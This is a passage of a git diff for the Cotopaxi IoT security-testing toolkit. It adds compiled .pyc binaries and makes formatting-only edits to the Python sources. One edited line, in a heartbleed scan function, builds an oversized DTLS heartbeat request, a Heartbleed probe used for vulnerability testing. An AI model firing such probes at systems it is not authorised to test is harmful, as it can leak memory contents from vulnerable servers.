zcJj~J$-UI$?8PV9i!J;2g#K*=mfk0BEkSm{4DCK+_tj-6De)Zr@dM+LS&Gmo*gWI) z>NL;)gf}zAoq-b+>85cw)G1iG9M+HV7-*IwL~x}icdzzqR3&yF4BNjRxjhD1^J={9 zDYJ`%-ChN_5h(x$_&5T1YmVRaD!?}*1;D&wzWMwU2+f`!d*oQy&#{|`;T`|mIQkX> z?oGFG#1kM-d)@37me^)-GJ;>g-_fT4+=*?vm72!Hb_s)G2iPg9h`6E?;9>lNd8oI< zhDnfTLMv3G3JUx=&;MzthWBhSLN&}1{|lj-y#vR^<`9I3;BaZ37vI0dmGcOqUz3G} zS@s=R1CcU?OMR7=6)7V&4o1pPki~aT7NHv;+4r0secPg|nB|CVBckK)ky-5M$QGjZ zwnAgPy}P0D554Wa7`3|<7oWeoH!l9Mx83hX?QR9d=kFdG6#wKAVu39=yWoAaDtCNQ z!w~G@U>N}?BC3?*VY8i-SCw`@^lpvKGQ1SGGB{q&b|3uj@%z+}+ZpRWOe~EIcsGC% zhcouw;N$FDR{wH~$uI>gC;hJg4wHf)JSCGYGI{t45pr7t_;Wzcx59p(W=?G>+dtdA z_~6om(|bSu^g`=v*B@tYJjvYHN*-q369lMU!{P4IGfw%!O}~>oFF?2qf(P$CL+lq_ R(j6f{Ws6zg)IO8 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/quic_utils.cpython-311.pyc b/cotopaxi/__pycache__/quic_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..79035e5d2c842d37f9bcdef9356bb19e02875eb6 GIT binary patch literal 8558 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%0Ag8g)I)=f=jAb%~Ww!1!XtE)DnVhZAVoIH^Ehy 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc b/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..aad347ea0b641c714a66d028071b0808592aaa5d GIT binary patch literal 4102 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc b/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1a9859d8a7d7178aba64a97d4dfd048e57e59fd6 GIT binary patch literal 2952 zcma)8-A@}w5a06`=dU`#6i7(JhO`xq8eIL9ROG436K%vl<5W~dCq;@>^&xMLXkYTw**o81gN3@>{g|8Cot>GTnf0&9 zWDLQGzxs{*1k_*r!yDliaaaOk2dSupR6z~sLM2cN2uKa8Aw5_Ll|l|3*29%ZDFSq) z)T8#4L{%(B)o3XeK(~+@+d^ubM0SG+?ZNAgQd~_GP$p@O6^MzARje45ic!UNQ_~q< zH7G6=W|we{8m6HbIxfpqRoAKyvv2tN7lIwUKfCls06HVsDaO>A#7I?@zN-_u4y@Si zVsWWRm`SL0>+Y4p-1PFyZG0JX_SkrKJQ=&aSSaRye3Bo(k;^4x4xNnMeUP63oL>#sE_Q{x>9u0Q&{3;TcL~ zlVDP*nd{Cr-li*$h+<|JG64z^MYbqOT2(V8363sM zabsQ}+6y{pio<&VcG{aEIcg-n(7MoOco+FNEM!rDP1KB_GyU6ZjzR@E{^)LV&a-*7 zuIqTTYMA(Rv#pB-ty0qoE)cq=DFn~9N@X2`DyL{&kB+(3>zmDYa=rSXn^(U08ko*_ zt8$&1Y@{asuU8YES1MVR>$-_+{6OlAsCZ=^JN8#d70%`8IH(9ab+tUvQX+9B)5lc^a+u!#FAa9JI7D>|e;R^mfc~Z(a#_ z9>D()yiQqIKnnLsMjC+9F76MwJo9!+~MA9U;U` zv{G$}#~E`lhb;oQSymU(1c67VxWn$K86&GopU=5PA zEff6;V;Fog>J<6}zuTQTUdCmMUCV9gXfY3$vsltKX7V6>+!lmW=G}v^&_NEouP$VS zdARK0PT{>&lI)lyRSdPRb2=fxZwFa#NqQtnH55s5t_wTCOc~CmLd>$E(lpoiK8FDg z=Qv#A@DYd3c1L;Na^Nx$tO2m;{~d%z8ljP9C=ecLA|FH)>1_rA;eO8Re;b6)t#4h1 zCz|A<$u`ks(-ZY^QD2*=&ljb+DBUJXw?xtKhfU;xFXxQ@mMvYh@@<^GoX|QhE@Tok z10LE@#`{(ldJyFqY$x0wcan1nJ5^!F%BERsF?d1O1z00B7(PtU#O+<&@=oY4ITGs5n< literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc b/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0a5a91b6eefa6f694c54361bf092ab8a32dc4f55 GIT binary patch literal 12176 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/active_scanner.py b/cotopaxi/active_scanner.py index 2a88660..a2f5a63 100644 --- a/cotopaxi/active_scanner.py +++ b/cotopaxi/active_scanner.py @@ -855,7 +855,7 @@ def xxx_scan_heartbleed( resp1 = client.recvall(timeout=0.5) self.test_params.report_received_packet(sent_time) pkt = DTLSRecord(version=version) / TLSHeartBeat( - length=2 ** 14 - 1, data="bleed..." + length=2**14 - 1, data="bleed..." ) sent_time = self.test_params.report_sent_packet() client.sendall(str(pkt)) diff --git a/cotopaxi/cotopaxi_tester.py b/cotopaxi/cotopaxi_tester.py index 2983102..5b3f445 100644 --- a/cotopaxi/cotopaxi_tester.py +++ b/cotopaxi/cotopaxi_tester.py @@ -454,7 +454,7 @@ def print_stats(self): ) ) potential_results = [] - for (proto, proto_results) in self.test_stats.potential_endpoints.items(): + for proto, proto_results in self.test_stats.potential_endpoints.items(): if proto_results: potential_results.append( " For {}: {}".format(proto, proto_results) diff --git a/cotopaxi/device_identification.py b/cotopaxi/device_identification.py index d06484f..74d1668 100644 --- a/cotopaxi/device_identification.py +++ b/cotopaxi/device_identification.py @@ -333,7 +333,7 @@ def load_packets(pcap_filename, limit_packets=1000): start_time = time.time() packets = [] try: - if os.path.getsize(pcap_filename) > 100 * 2 ** 20: + if os.path.getsize(pcap_filename) > 100 * 2**20: print( "[!] Provided pcap file is bigger than 100MB, so loading can take a while!\n" "[!] You can interrupt loading at any time using CTRL+C and classification " diff --git a/cotopaxi/dtls_utils.py b/cotopaxi/dtls_utils.py index 3047a6f..c867dbd 100644 --- a/cotopaxi/dtls_utils.py +++ b/cotopaxi/dtls_utils.py @@ -198,7 +198,6 @@ def __init__( self.test_params = test_params if confirm_hello_verify: - pkt = DTLSRecord( version=dtls_version, sequence=0, content_type=TLSContentType.HANDSHAKE ) / DTLSHandshakes( diff --git a/cotopaxi/grpc_test_stub_pb2_grpc.py b/cotopaxi/grpc_test_stub_pb2_grpc.py index 0852ffd..5c2d928 100644 --- a/cotopaxi/grpc_test_stub_pb2_grpc.py +++ b/cotopaxi/grpc_test_stub_pb2_grpc.py @@ -27,6 +27,7 @@ import cotopaxi.grpc_test_stub_pb2 as test__stub__pb2 + # pylint: disable=no-self-use, too-few-public-methods, too-many-arguments, unused-argument class PingServiceStub(object): """Missing associated documentation comment in .proto file.""" diff --git a/cotopaxi/resource_listing.py b/cotopaxi/resource_listing.py index 694704b..e50df18 100644 --- a/cotopaxi/resource_listing.py +++ b/cotopaxi/resource_listing.py @@ -79,7 +79,7 @@ def check_method_and_url(method, url): url_list, methods = tuple_url_methods for method in methods: - url_not_existing = "not existing" + 3 * str(random.randrange(2 ** 15)) # nosec + url_not_existing = "not existing" + 3 * str(random.randrange(2**15)) # nosec coap_code_not_existing = coap_check_url(test_params, method, url_not_existing) print_verbose( test_params, diff --git a/cotopaxi/traffic_analyzer.py b/cotopaxi/traffic_analyzer.py index ed3e643..b52536a 100644 --- a/cotopaxi/traffic_analyzer.py +++ b/cotopaxi/traffic_analyzer.py @@ -125,7 +125,7 @@ def classify_traffic( """Classify traffic based on provided network packets.""" result_class = None packets_bins_port = split_packets(packets, ip_addr) - for (src_port, dst_ip, dst_port) in packets_bins_port: + for src_port, dst_ip, dst_port in packets_bins_port: packets = packets_bins_port[(src_port, dst_ip, dst_port)] data = 